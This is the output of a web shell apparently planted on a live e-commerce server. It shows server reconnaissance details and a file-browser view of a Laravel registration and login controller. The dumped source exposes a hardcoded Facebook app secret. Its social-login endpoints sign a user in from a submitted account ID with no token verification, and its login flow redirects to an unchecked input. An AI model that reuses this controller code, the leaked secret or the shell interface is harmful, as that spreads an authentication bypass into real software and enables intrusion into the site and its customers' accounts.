403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Modules/Cadastro/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Modules/Cadastro/Controllers//CadastroController.php
<?php

namespace App\Modules\Cadastro\Controllers;

use Illuminate\Http\Request;
use Mail;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use App\Modules\Cadastro\Models\Cadastro;
use App\Modules\AcaoUsuario\Models\AcaoUsuario;
use App\Modules\CadastroEndereco\Models\CadastroEndereco;
use App\Modules\Pais\Models\Pais;
use App\Modules\Estado\Models\Estado;
use App\Modules\Cidade\Models\Cidade;
use App\Modules\Empresa\Models\Empresa;
use App\Modules\CaptacaoLead\Models\CaptacaoLead;

use App\Modules\PedidoVenda\Models\PedidoVenda;

use Sentinel;
use Activation;

use App\User;
use App\UserActivation;
use App\BasicInfo;

use App\Services\CartService;
use App\Services\GeralService;

use Notification;
use App\Notifications\NotificacaoConfirmacao;
use App\Notifications\NotificacaoPedidoVenda;

use Facebook;
use Exception;
use Cartalyst\Sentinel\Checkpoints\NotActivatedException;
use App\Modules\Confraria\Models\Confraria;
use App\Modules\AdegaViradaParticipante\Models\AdegaViradaParticipante;
use Carbon\Carbon;
use DB;


class CadastroController extends Controller
{
	private $modulo;
	private $fields;
	private $fks;
	protected $mailchimp;
	protected $mailchimpListId; // Id of newsletter list

    public function __construct(){
		$this->modulo = \App\Gerador::where('nome', 'Cadastro')->with('campos', 'fks')->first();
		$this->fields = $this->modulo->campos;
		$this->fks = $this->modulo->fks;
		//Mailchimp
		$this->mailchimpListId = env('MAILCHIMP_LIST');
        if(env('APP_ENV') == 'local'){
		    $this->mailchimp = app('Mailchimp');
        }
	}

	public function index(Request $request, $codigo_indicacao = ''){
		if(GeralService::buscarClienteLogado()){
			return redirect('perfil');
		}
		$data = $request->input();
		$data['redirect'] = $request->input('redirect');
		$data['redirect_origin'] = '';
		$data['cupomIndicacao'] = GeralService::buscarCupomIndicacaoAtivo();

		if(!session_id()) {
			session_start();
		}
		$fb = new Facebook\Facebook([
			'app_id' => '220707961808677', // Replace {app-id} with your app id
			'app_secret' => '9e888ea5214bcef9c6243b02a0c104ba',
			'default_graph_version' => 'v2.2',
		]);

		$helper = $fb->getRedirectLoginHelper();

		$permissions = ['email', 'user_birthday', 'user_friends']; // Optional permissions
		$data['facebookLoginUrl'] = $helper->getLoginUrl(url('login-facebook'), $permissions);

		$data['titulo_pagina'] = 'Faça seu';
		$data['subtitulo_pagina'] = 'cadastro';

		$data['listaPaises'] = Pais::orderBy('nome', 'ASC')->get();

		$data['redirect'] = $request->input('redirect') ?? null;

		$data['codigo_indicacao'] = $codigo_indicacao;

		$section = \Request::segment(1);

		if(!empty($codigo_indicacao)){
			if($section == 'convite-confraria'){
				$data['redirect_origin'] = 'convite-confraria';

				$data['confrariaConvite'] =	Confraria::where('codigo', $codigo_indicacao)->first();
				if(isset($data['confrariaConvite']))
					$data['confrariaDono'] = Cadastro::where('id', $data['confrariaConvite']->cadastro_id)->first();
				
			}elseif($section == 'convite-adega-virada'){

				$data['adegaVirada'] = AdegaViradaParticipante::where('codigo', $codigo_indicacao)->with('cadastro')->first();


				// $data['adegaDaVirada'] = 
				$data['redirect_origin'] = 'convite-adega-virada';

				$data['indicacaoConvite'] =	AdegaViradaParticipante::where('codigo', $codigo_indicacao)->first();
				if(isset($data['indicacaoConvite'])){
					$data['conviteDono'] = Cadastro::where('id', $data['indicacaoConvite']->cadastro_id)->first();
				}
				
			}else{
				$Indicador = Cadastro::where('codigo_cliente', $codigo_indicacao)->first();
				$data['indicador_nome'] = ($Indicador ? $Indicador->nome : '');
				$data['redirect_origin'] = 'cupom';
 			}
		}

		return view('Cadastro::cadastro-site',$data);
	}

	public function loginSite(Request $request, $codigo_indicacao = ''){

		if(GeralService::buscarClienteLogado()){
			return redirect('perfil');
		}
		$data = array();
		$data['redirect'] = $request->input('redirect');

		if(!session_id()) {
			session_start();
		}
		$fb = new Facebook\Facebook([
			'app_id' => '220707961808677', // Replace {app-id} with your app id
			'app_secret' => '9e888ea5214bcef9c6243b02a0c104ba',
			'default_graph_version' => 'v2.2',
		]);

		$helper = $fb->getRedirectLoginHelper();

		$permissions = ['email', 'user_birthday', 'user_friends']; // Optional permissions
		$data['facebookLoginUrl'] = $helper->getLoginUrl(url('login-facebook'), $permissions);

		$data['titulo_pagina'] = 'Faça seu';
		$data['subtitulo_pagina'] = 'cadastro';

		$data['listaPaises'] = Pais::orderBy('nome', 'ASC')->get();

		$data['redirect'] = $request->input('redirect') ?? null;

		$data['codigo_indicacao'] = $codigo_indicacao;

		if(!empty($codigo_indicacao)){
			$Indicador = Cadastro::where('codigo_cliente', $codigo_indicacao)->first();
			$data['indicador_nome'] = ($Indicador ? $Indicador->nome : '');
		}
		
		if($request->input('cod_conf') && $request->input('cod_conf') != ''){
			$data['confrariaConvite'] =	Confraria::where('codigo', $request->input('cod_conf'))->first();
				if(isset($data['confrariaConvite']))
					$data['confrariaDono'] = Cadastro::where('id', $data['confrariaConvite']->cadastro_id)->first();
		}
		

		return view('Cadastro::login-site',$data);
	}

	public function loginFacebook(Request $request){
		$post = $request->input();

		$user = Cadastro::where('id_facebook', $post['id'])->first();

		if($user){
			$userSentinel = Sentinel::findUserById($user->user_id);
			Sentinel::login($userSentinel, true);
		}else{
			return response()->json(array(
				'status' => true,
				'message' => 'Usuário não encontrado.',
				'user' => false
			));
		}

		$html = CartService::buscarHtmlIdentificacao();

		$htmlListagem   = CartService::buscarHtmlListagemCart();
		$htmlCupom      = CartService::buscarHtmlCupomDesconto();
		$primeiraCompra = GeralService::buscarPrimeiraCompra();


		return response()->json(array(
			'status'          => true,
			'message'         => 'Usuário logado com sucesso!',
			'user'            => true,
			'url'             => url('/'),
			'html'            => $html,
			'html_listagem'   => $htmlListagem,
			'html_cupom'      => $htmlCupom,
			'primeira_compra' => $primeiraCompra,
		));
	}

	public function loginGoogle(Request $request){
		$post = $request->input();

		$user = Cadastro::where('id_google', $post['id'])->first();

		if($user){
			$userSentinel = Sentinel::findUserById($user->user_id);
			Sentinel::login($userSentinel, true);
		}else{
			return response()->json(array(
				'status' => true,
				'message' => 'Usuário não encontrado.',
				'user' => false
			));
		}

		$html = CartService::buscarHtmlIdentificacao();

		$htmlListagem   = CartService::buscarHtmlListagemCart();
		$htmlCupom      = CartService::buscarHtmlCupomDesconto();
		$primeiraCompra = GeralService::buscarPrimeiraCompra();


		return response()->json(array(
			'status'          => true,
			'message'         => 'Usuário logado com sucesso!',
			'user'            => true,
			'url'             => url('/'),
			'html_listagem'   => $htmlListagem,
			'html_cupom'      => $htmlCupom,
			'primeira_compra' => $primeiraCompra,
			'html'            => $html
		));
	}

	public function loginTwitter(Request $request){
		$post = $request->input();

		$user = Cadastro::where('id_twitter', $post['id'])->first();

		if($user){
			$userSentinel = Sentinel::findUserById($user->user_id);
			Sentinel::login($userSentinel, true);
		}else{
			return response()->json(array(
				'status' => true,
				'message' => 'Usuário não encontrado.',
				'user' => false
			));
		}

		$html = CartService::buscarHtmlIdentificacao();

		$htmlListagem   = CartService::buscarHtmlListagemCart();
		$htmlCupom      = CartService::buscarHtmlCupomDesconto();
		$primeiraCompra = GeralService::buscarPrimeiraCompra();

		return response()->json(array(
			'status'          => true,
			'message'         => 'Usuário logado com sucesso!',
			'user'            => true,
			'url'             => url('/'),
			'html_listagem'   => $htmlListagem,
			'html_cupom'      => $htmlCupom,
			'primeira_compra' => $primeiraCompra,
			'html'            => $html
		));
	}


	public function register(Request $request){
		$data = array();
		$data['fields'] = $this->fields;
		$data['listaPaises'] = Pais::orderBy('nome', 'ASC')->get();
		$data['redirect'] = $request->input('redirect');
		return view('Cadastro::register',$data);
	}

	public function logout(Request $request){
		session(['cupom' => null]);
		session(['cupom_adega_virada' => null]);
		session(['cupom_removido' => null]);
		Sentinel::logout();

		return redirect('/');
	}

	private function sendMailchimp($input){

		$status  = true;
		$message = "Obrigado por se cadastrar";

		if(!isset($input['email'])){
			$status  = false;
			$message = "E-mail não setado!";
		}elseif(empty($input['email'])){
			$status  = false;
			$message = "E-mail não preenchido!";
		}else{

			try {

				$this->mailchimp
					->lists
					->subscribe(
						$this->mailchimpListId, 		//ID da Lista
						['email' => $input['email']], 	//E-mail do Assinante
						[], 							//Campos personalizados
						'html', 						//Tipo de e-mail recebido
						true 							//Confirmar assinatura por e-mail?
					);

	        } catch (\Mailchimp_List_AlreadySubscribed $e) {
				$status  = false;
				$message =  'Você já assinou a newsletter.';
			} catch (\Mailchimp_Email_AlreadySubscribed $e) {
				$status  = false;
				$message =  'Você já assinou a newsletter.';
			} catch (\Mailchimp_Email_NotExists $e) {
				$status  = false;
				$message =  'O e-mail informado não existe.';
			} catch (\Mailchimp_Invalid_Email $e) {
				$status  = false;
				$message =  'O e-mail informado é inválido.';
			} catch (\Mailchimp_List_InvalidImport $e) {
				$status  = false;
				$message =  'Dados inválidos!';
			} catch (Exception $e) {
				$status  = false;
				$message = "Falha ao cadastrar e-mail";
			}
		}

		return (object) ['status' => $status, 'message' => $message];
	}

	public function mailchimp(Request $request){

		$input         = $request->input();
		$sendMailchimp = $this->sendMailchimp($input);

		$Captacao               = new CaptacaoLead;
		$Captacao->email        = $request->input('email', 'none');
		$Captacao->data_criacao = date('Y-m-d H:i:s');
		$Captacao->status       = $sendMailchimp->status;
		$Captacao->response     = $sendMailchimp->message;
		$Captacao->save();

		return response()->json(array(
			'status'  => $sendMailchimp->status,
			'message' => $sendMailchimp->message
		));

	}

	public function login(Request $request){

		try {
			
			$input = $request->input();

			if(isset($input['lembrar']) && $input['lembrar']){
				$lembrar = true;
			}else{
				$lembrar = false;
			}

			// Autentica o usuário
			$authentication = Sentinel::authenticate([
				'email' => $input['email'],
				'password' => $input['password']
			], $lembrar);

			if(!$authentication){
				if ($request->ajax()) {
					return response()->json(array(
						'status' => false,
						'message' => 'Dados de acesso inválidos'
					));
				}else{
					\Session::flash('type', 'danger');
					\Session::flash('message', 'Dados de acesso inválidos.');
					return redirect()->back()->withInput();
				}

			}

			if ($request->ajax()) {

	
				$html           = CartService::buscarHtmlIdentificacao();
				$htmlListagem   = CartService::buscarHtmlListagemCart();
				$htmlCupom      = CartService::buscarHtmlCupomDesconto();
				$primeiraCompra = GeralService::buscarPrimeiraCompra();

				return response()->json(array(
					'status'          => true,
					'message'         => 'Login efetuado com sucesso',
					'html'            => $html,
					'html_listagem'   => $htmlListagem,
					'html_cupom'      => $htmlCupom,
					'primeira_compra' => $primeiraCompra,
					'url'             => ($input['redirect']) ? $input['redirect'] : url('/')
				));

			}else{
				if(isset($input['redirect'])){
					return redirect($input['redirect']);
				}else{ // Trabalhar o redirecionamento conforme necessário
					return redirect('/');
				}
			}

		} catch (NotActivatedException $e) {

			$user         = User::where('email', $input['email'])->first();
			$data_created = date('Y-m-d', strtotime("-30 days",strtotime(date('Y-m-d'))));

			if($user->created_at <= $data_created && !$user->ativacao){

				$userSentinel = Sentinel::findUserById($user->id);
				$activation = Activation::create($userSentinel);
				Activation::complete($userSentinel, $activation->code);

				return $this->auth($request);

			}else{
				GeralService::checkoutTracking('usuario', ['id_tipo' => $user->id, 'id_cliente' => $user->cliente->id, 'acao' => 'login', 'observacao' => 'Usuário Inativo']);
			}

			return response()->json(array(
				'status'  => false,
				'message' => 'Estamos analisando sua conta, caso tenha dúvidas favor enviar um e-mail para contato@vinumday.com.br'
			));

		} catch (Exception $e) {
			return response()->json(array(
				'status'  => false,
				'message' => 'Falha ao realizar Login'
			));
		}

	}

	private function auth($request){

		try {
			
			$input = $request->input();

			if(isset($input['lembrar']) && $input['lembrar']){
				$lembrar = true;
			}else{
				$lembrar = false;
			}

			// Autentica o usuário
			$authentication = Sentinel::authenticate([
				'email' => $input['email'],
				'password' => $input['password']
			], $lembrar);

			if(!$authentication){
				if ($request->ajax()) {
					return response()->json(array(
						'status' => false,
						'message' => 'Dados de acesso inválidos'
					));
				}else{
					\Session::flash('type', 'danger');
					\Session::flash('message', 'Dados de acesso inválidos.');
					return redirect()->back()->withInput();
				}

			}

			if ($request->ajax()) {
				
				$html           = CartService::buscarHtmlIdentificacao();
				$htmlListagem   = CartService::buscarHtmlListagemCart();
				$htmlCupom      = CartService::buscarHtmlCupomDesconto();
				$primeiraCompra = GeralService::buscarPrimeiraCompra();

				return response()->json(array(
					'status'          => true,
					'message'         => 'Login efetuado com sucesso',
					'html'            => $html,
					'html_listagem'   => $htmlListagem,
					'html_cupom'      => $htmlCupom,
					'primeira_compra' => $primeiraCompra,
					'url'             => ($input['redirect']) ? $input['redirect'] : url('/')
				));

			}else{
				if(isset($input['redirect'])){
					return redirect($input['redirect']);
				}else{ // Trabalhar o redirecionamento conforme necessário
					return redirect('/');
				}
			}

		} catch (NotActivatedException $e) {

			return response()->json(array(
				'status'  => false,
				'message' => 'Estamos analisando sua conta, caso tenha dúvidas favor enviar um e-mail para contato@vinumday.com.br'
			));

		} catch (Exception $e) {
			return response()->json(array(
				'status'  => false,
				'message' => 'Falha ao realizar Login'
			));
		}

	}

	public function saveCadastro(Request $request){

		$input = $request->input();

		return response()->json(array(
			'status'  => false,
			'message' => 'Cadastros interrompidos temporariamente. Tente mais tarde!'
		));

		if(!isset($input['password']) || !$input['password']){
			\Session::flash('type', 'danger');
			\Session::flash('message', 'A senha é obrigatória.');
			return redirect()->back()->withInput();
		}

		if(!isset($input['email']) || !$input['email']){
			\Session::flash('type', 'danger');
			\Session::flash('message', 'O E-mail é obrigatório.');
			return redirect()->back()->withInput();
		}

		if(!isset($input['cpf']) || !$input['cpf']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo CPF é obrigatório.'
			));
		}

		if(Cadastro::where('cpf', $input['cpf'])->count() > 0){
			return response()->json(array(
				'status' => false,
				'message' => 'Já existe um cadastro com o CPF informado. <a href="#" fazer-login>Fazer login</a>'
			));
		}

		if(!isset($input['cep']) || !$input['cep']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo CEP é obrigatório.'
			));
		}

		if(!isset($input['logradouro']) || !$input['logradouro']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo Rua é obrigatório.'
			));
		}

		if(!isset($input['numero']) || !$input['numero']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo Número é obrigatório.'
			));
		}

		if(!isset($input['bairro']) || !$input['bairro']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo Bairro é obrigatório.'
			));
		}

		if(!isset($input['estado_id']) || !$input['estado_id']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo Estado é obrigatório.'
			));
		}

		if(!isset($input['cidade_id']) || !$input['cidade_id']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo Cidade é obrigatório.'
			));
		}

		if(!isset($input['pais_id']) || !$input['pais_id']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo País é obrigatório.'
			));
		}

		if(User::where('email', $input['email'])->count()){
			\Session::flash('type', 'danger');
			\Session::flash('message', 'Já existe um usuário com esse e-mail.');
			return redirect()->back()->withInput();
		}

		if($input['password'] != $input['confirm_password']){
			\Session::flash('type', 'danger');
			\Session::flash('message', 'A senha e a confirmação de senha devem ser iguais.');
			return redirect()->back()->withInput();
		}

		$apiKey  = Empresa::getApiKeyPagarMe();

		$pagarMe =  new \PagarMe\Sdk\PagarMe($apiKey);

        $cidade = Cidade::find($input['cidade_id']);
        $estado = Estado::find($input['estado_id']);
        $pais = Pais::find($input['pais_id']);

		$address = new \PagarMe\Sdk\Customer\Address([
            'street' => $input['logradouro'],
            'streetNumber' => $input['numero'],
            'neighborhood' => $input['bairro'],
            'zipcode' => str_replace(['-', '.'],'',$input['cep']),
            'complementary' => $input['complemento'],
            'city' => $cidade->nome,
            'state' => $estado->nome,
            'country' => $pais->nome,
        ]);


        $phone = new \PagarMe\Sdk\Customer\Phone(['ddd' => substr($input['telefone'],1,2), 'number' => trim(str_replace('-', '',substr($input['telefone'],5))), 'ddi' => '55']);


        $errors = [
            'address[street_number]' => 'Número <strong>inválido</strong>.',
            'address[street]' => 'Logradouro <strong>inválido</strong>.',
            'address[neighborhood]' => 'Bairro <strong>inválido</strong>.',
            'address[zipcode]' => 'CEP <strong>inválido</strong>.',
            'phone[number]' => 'Telefone <strong>inválido</strong>.',
        ];

        try {
            $customer = $pagarMe->customer()->create(
                $input['nome'],
                $input['email'],
                $input['cpf'],
                /** @var $address \PagarMe\Sdk\Customer\Address */
                $address,
                /** @var $phone \PagarMe\Sdk\Customer\Phone */
                $phone
            );

        } catch (\Exception $e) {
            $exceptionErrors = json_decode(json_decode($e->getMessage()));

            if ($exceptionErrors != null){
                $message = $errors[$exceptionErrors->errors[0]->parameter_name];
            } else {
                $message = $e->getMessage();
            }

            return response()->json(array(
                'status' => false,
                'message' => $message
            ));
        }

		// Salva o User do cadastro
		$user = Sentinel::register(array(
			'first_name' => $input['nome'],
			'last_name' => $input['sobrenome'],
			'email'    => $input['email'],
			'password' => $input['password'],
		));

		// Liga o usuário a uma role
		$role = Sentinel::findRoleById(1);
		$role->users()->attach($user);
		// Ativa o usuário
		$activation = Activation::create($user);
		Activation::complete($user, $activation->code);


		$cadastro = new Cadastro();
		$cadastro->fill($input);
		if($empresa){
			$cadastro->empresa_id = $empresa->id;
		}
		$cadastro->customer_id = $customer->getId();
		// Atribui o id dele p/ o cadastro
		$cadastro->user_id = $user->id;
		$cadastro->endereco_ip = GeralService::getClientIp();
		$cadastro->save();

		$cadastroEndereco = new CadastroEndereco();
		$cadastroEndereco->fill($input);
		$cadastroEndereco->cadastro_id = $cadastro->id;
		$cadastroEndereco->principal = 1;
		$cadastroEndereco->nome = 'Endereço de cadastro';
		$cadastroEndereco->save();

		// Autentica o usuário
		Sentinel::authenticate([
			'email' => $input['email'],
			'password' => $input['password']
		], true);

		if(isset($input['redirect'])){
			return redirect($input['redirect']);
		}else{ // Trabalhar o redirecionamento conforme necessário
			return redirect('/perfil');
		}

	}

	public function registerCheckout(Request $request){

		$BasicInfo = BasicInfo::find(1);

		if($BasicInfo->bloquear_novos_cadastros){
			return response()->json(array(
				'status'  => false,
				'message' => 'Cadastros interrompidos temporariamente. Tente mais tarde!'
			));
		}
			
		$input = $request->input();

		if((!isset($input['g-recaptcha-response']) || (isset($input['g-recaptcha-response']) && empty($input['g-recaptcha-response'])))){
            return response()->json(array(
                'status'  => false,
                'message' => 'ReCaptcha inválido'
            ));
        }

		//https://github.com/geekcom/validator-docs
		$validate = $this->validate($request, [
	    	'cpf' => 'required|cpf',
	    ]);

		if(!isset($input['nome']) || !$input['nome']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo Nome é obrigatório.'
			));
		}

		if(!isset($input['sobrenome']) || !$input['sobrenome']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo Sobrenome é obrigatório.'
			));
		}

		if(!isset($input['cpf']) || !$input['cpf']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo CPF é obrigatório.'
			));
		}

		if(Cadastro::where('cpf', $input['cpf'])->count() > 0){
			return response()->json(array(
				'status' => false,
				'message' => 'Já existe um cadastro com o CPF informado.<a href="#" fazer-login>Fazer login</a>'
			));
		}

		if(!isset($input['telefone']) || !$input['telefone']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo Telefone é obrigatório.'
			));
		}


		if(!isset($input['email']) || !$input['email']){
			return response()->json(array(
				'status' => false,
				'message' => 'O E-mail é obrigatório.'
			));
		}

		if(!isset($input['data_nascimento']) || !$input['data_nascimento']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo Data de nascimento é obrigatório.'
			));
		}else{
			//Validação Idade Obrigatória
            // Separa data em dia, mês e ano
			$input['data_nascimento'] = \Carbon\Carbon::createFromFormat('d/m/Y', $input['data_nascimento'])->format('Y-m-d');

            list($ano, $mes, $dia) = explode('-', $input['data_nascimento']);
           
            // Unix timestamp do dia de hoje
            $hoje = mktime(0, 0, 0, date('m'), date('d'), date('Y'));
            // Unix timestamp da data de nascimento
            $nascimento = mktime( 0, 0, 0, $mes, $dia, $ano);

            if($ano > date('Y')){
            	return response()->json(array(
					'status'  => false,
					'message' => 'O campo de data de nascimento está no futuro!'
				));
            }
           
            // cálculo idade
            $idade = floor((((($hoje - $nascimento) / 60) / 60) / 24) / 365.25);

            if($idade < 18){
            	return response()->json(array(
					'status'  => false,
					'message' => 'Você precisa ter mais de 18 anos para efetuar o cadastro'
				));
            }
		}

		if(!isset($input['genero']) || !$input['genero']){
			return response()->json(array(
				'status' => false,
				'message' => 'O campo Gênero é obrigatório.'
			));
		}

		if(User::where('email', $input['email'])->count()){
			return response()->json(array(
				'status' => false,
				'message' => 'Já existe um usuário com esse e-mail.'
			));
		}


		if(!isset($input['password']) || !$input['password']){
			return response()->json(array(
				'status' => false,
				'message' => 'A senha é obrigatória.'
			));
		}


		if($input['password'] != $input['confirm_password']){
			return response()->json(array(
				'status' => false,
				'message' => 'A senha e a confirmação de senha devem ser iguais.',
				'url' => ($input['redirect']) ? $input['redirect'] : url('perfil/meus-vinhos')
			));
		}

        // Salva o User do cadastro
		$user = Sentinel::register(array(
			'first_name' => $input['nome'],
			'last_name' => $input['sobrenome'],
			'email'    => $input['email'],
			'password' => $input['password'],
		));

		// Liga o usuário a uma role
		$role = Sentinel::findRoleById(11); // Cliente
		$role->users()->attach($user);
		// Ativa o usuário
		$activation = Activation::create($user);
		Activation::complete($user, $activation->code);

		$cadastro = new Cadastro();
		$cadastro->fill($input);

		//$cadastro->customer_id = $customer->getId();
		// Atribui o id dele p/ o cadastro
		$cadastro->user_id        = $user->id;
		$cadastro->endereco_ip    = GeralService::getClientIp();
		$cadastro->codigo_cliente = GeralService::gerarCodigoAleatorio();

		if(!empty($cadastro->endereco_ip) && $cadastro->endereco_ip != '127.0.0.1'){
			$retorno_ip           = GeralService::callIpAPI($cadastro->endereco_ip);
	        $cadastro->retorno_ip = $retorno_ip;
		}

		$cadastro->save();

		if(isset($input['codigo_indicacao']) && !empty($input['codigo_indicacao'])){
			if(isset($input['redirect_origin']) && $input['redirect_origin'] == 'convite-confraria'){
				GeralService::associarConviteConfraria($input['codigo_indicacao'], $cadastro);
			}elseif(isset($input['redirect_origin']) && $input['redirect_origin'] == 'convite-adega-virada'){
				GeralService::associarConviteAdegaVirada($input['codigo_indicacao'], $cadastro);
			}else{
				GeralService::associarCupomIndicacao($input['codigo_indicacao'], $cadastro);
			}
		}

		// Autentica o usuário
		Sentinel::authenticate([
			'email'    => $input['email'],
			'password' => $input['password']
		], true);


		$html = CartService::buscarHtmlIdentificacao();

		$htmlListagem   = CartService::buscarHtmlListagemCart();
		$htmlCupom      = CartService::buscarHtmlCupomDesconto();
		$primeiraCompra = GeralService::buscarPrimeiraCompra();

		$post = [
			'nome' => $cadastro->nome
		];

		//Notificação Confirmação
		Notification::send(
            $cadastro->user,
            new NotificacaoConfirmacao(
                $post,
                'Confirmação conta',
                url('confirmar/' . $activation->code)
            )
        );

        $url = url('/confirmacao-cadastro'); //validar redirect Mailchimp

        if($request->input('redirect') && !empty($request->input('redirect'))){
        	$url = $request->input('redirect');
        }

		return response()->json(array(
			'status'          => true,
			'message'         => 'Usuário registrado com sucesso',
			'html'            => $html,
			'html_listagem'   => $htmlListagem,
			'html_cupom'      => $htmlCupom,
			'primeira_compra' => $primeiraCompra,
			'url'             => $url
		),200);

	}

	//Rota de Testes Visualização E-mail's
	public function confirmacao(){

		/*$cadastro = Cadastro::where('id', 11863)->first();
		$user     = $cadastro->user;

		$pedidoVenda   = PedidoVenda::where('id', 100146131)->first();
		$ofertasPedido = GeralService::buscarOfertasPagamento(['id_pedido_venda' => $pedidoVenda->id]);

		$data = [];
		$data['url'] = url('/perfil/meus-pagamentos');
		$data['pedidoVenda'] = $pedidoVenda;
		$data['ofertas'] = $ofertasPedido;
		return view('emails.pedido_venda_atualizado', $data);*/
	}

	public function confirmacaoCadastro(){
		$data = [];
		$data['titulo_pagina'] = 'Confirmação';
        $data['subtitulo_pagina'] = 'Cadastro';
		return view('Cadastro::confirmacao-cadastro', $data);
	}

	public function confirmacaoMailchimp(){
		$data = [];
		$data['titulo_pagina'] = 'Confirmação';
        $data['subtitulo_pagina'] = 'Mailchimp';
		return view('Cadastro::confirmacao-mailchimp', $data);
	}

	public function cadastroEmail(Request $request){
		$data = [];
		$data['titulo_pagina'] = 'Cadastro';
        $data['subtitulo_pagina'] = 'E-mail';
        $data['email'] = $request->input('email');
		return view('Cadastro::cadastro-email', $data);
	}

	public function confirmarConta($code){

		$Activation = UserActivation::where('code', $code)->first();
		if($Activation){

			$user = Sentinel::findById($Activation->user_id);
			Activation::complete($user, $Activation->code);

			\Session::flash('type', 'success');
			\Session::flash('message', 'Conta confirmada com sucesso!');
			return redirect('/');
		}else{
			\Session::flash('type', 'danger');
			\Session::flash('message', 'Não foi possível confirmar a conta. Verifique se os dados estão corretos.');
			return redirect('/');
		}
	}

    public function loginTest(Request $request, $codigo_indicacao = ''){

        if(GeralService::buscarClienteLogado()){
            return redirect('perfil');
        }
        $data = array();
        $data['redirect'] = $request->input('redirect');

        if(!session_id()) {
            session_start();
        }
        $fb = new Facebook\Facebook([
            'app_id' => '220707961808677', // Replace {app-id} with your app id
            'app_secret' => '9e888ea5214bcef9c6243b02a0c104ba',
            'default_graph_version' => 'v2.2',
        ]);

        $helper = $fb->getRedirectLoginHelper();

        $permissions = ['email', 'user_birthday', 'user_friends']; // Optional permissions
        $data['facebookLoginUrl'] = $helper->getLoginUrl(url('login-facebook'), $permissions);

        $data['titulo_pagina'] = 'Faça seu';
        $data['subtitulo_pagina'] = 'cadastro';

        $data['listaPaises'] = Pais::orderBy('nome', 'ASC')->get();

        $data['redirect'] = $request->input('redirect') ?? null;

        $data['codigo_indicacao'] = $codigo_indicacao;

        if(!empty($codigo_indicacao)){
            $Indicador = Cadastro::where('codigo_cliente', $codigo_indicacao)->first();
            $data['indicador_nome'] = ($Indicador ? $Indicador->nome : '');
        }

        if($request->input('cod_conf') && $request->input('cod_conf') != ''){
            $data['confrariaConvite'] =	Confraria::where('codigo', $request->input('cod_conf'))->first();
            if(isset($data['confrariaConvite']))
                $data['confrariaDono'] = Cadastro::where('id', $data['confrariaConvite']->cadastro_id)->first();
        }


        return view('Cadastro::login-test',$data);
    }

    public function loginCodigo(){
        $data = [];
        return view('Cadastro::login-codigo', $data);
    }

    public function enviarCodigoEmail(Request $request)
    {
        $data = [];
        $hoje = Carbon::now()->toDateString();

        $identificador = $request->input('cpf');

        $tipoIdentificador = filter_var($identificador, FILTER_VALIDATE_EMAIL) ? 'email' : 'cpf';

        if ($tipoIdentificador === 'cpf') {
            $identificadorLimpo = preg_replace('/[^0-9]/', '', $identificador);
        } else {
            $identificadorLimpo = $identificador;
        }

        $query = DB::table('codigo_login')
            ->select('codigo_login.*')
            ->join('sis_users', 'sis_users.id', '=', 'codigo_login.user_id');

        if ($tipoIdentificador === 'cpf') {
            $query->join('cadastro', 'cadastro.user_id', '=', 'sis_users.id')
                ->where('cadastro.cpf', $identificadorLimpo);
        } else {
            $query->join('cadastro', 'cadastro.user_id', '=', 'sis_users.id')
                ->where('sis_users.email', $identificadorLimpo);
        }

        $quantidadeRegistros = $query->where('codigo_login.status', '!=', 1)
            ->whereDate('codigo_login.created_at', $hoje)
            ->count();

        if ($quantidadeRegistros >= 6) {
            return response()->json([
                'status' => false,
                'message' => 'Limite de 6 tentativas atingido!'
            ]);
        }

        if ($tipoIdentificador === 'cpf') {
            $cadastro = Cadastro::where('cpf', $identificadorLimpo)->first();
        } else {
            $user = \App\Models\SisUser::where('email', $identificadorLimpo)->first();
            $cadastro = $user ? Cadastro::where('user_id', $user->id)->first() : null;
        }

        if (!$cadastro) {
            $mensagem = $tipoIdentificador === 'cpf' ? 'CPF não encontrado ou acesso bloqueado.' : 'E-mail não encontrado ou acesso bloqueado.';
            return response()->json([
                'status' => false,
                'message' => $mensagem,
            ]);
        }

        $codigo = $this->gerarCodigoAleatorio();

        $emailTarget = $cadastro->user->email;
        $dataMail['cadastro'] = $cadastro;
        $dataMail['codigo'] = $codigo;

        \Mail::send('emails.login_codigo', $dataMail, function ($m) use ($dataMail, $emailTarget) {
            $m->from('no-reply@vinumday.com.br', 'Vinum Day');
            $m->to($emailTarget)->subject('Código de acesso');
        });

        DB::table('codigo_login')
            ->insert([
                'user_id' => $cadastro->user_id,
                'email' => $emailTarget,
                'codigo' => $codigo,
                'data_uso' => NULL,
                'created_at' => date('Y-m-d H:i:s'),
            ]);

        $emailTargetMask = $this->mascararEmail($emailTarget);

        return response()->json([
            'status' => true,
            'message' => "O código foi enviado para o seu e-mail: $emailTargetMask",
            'email' => $emailTargetMask
        ]);
    }

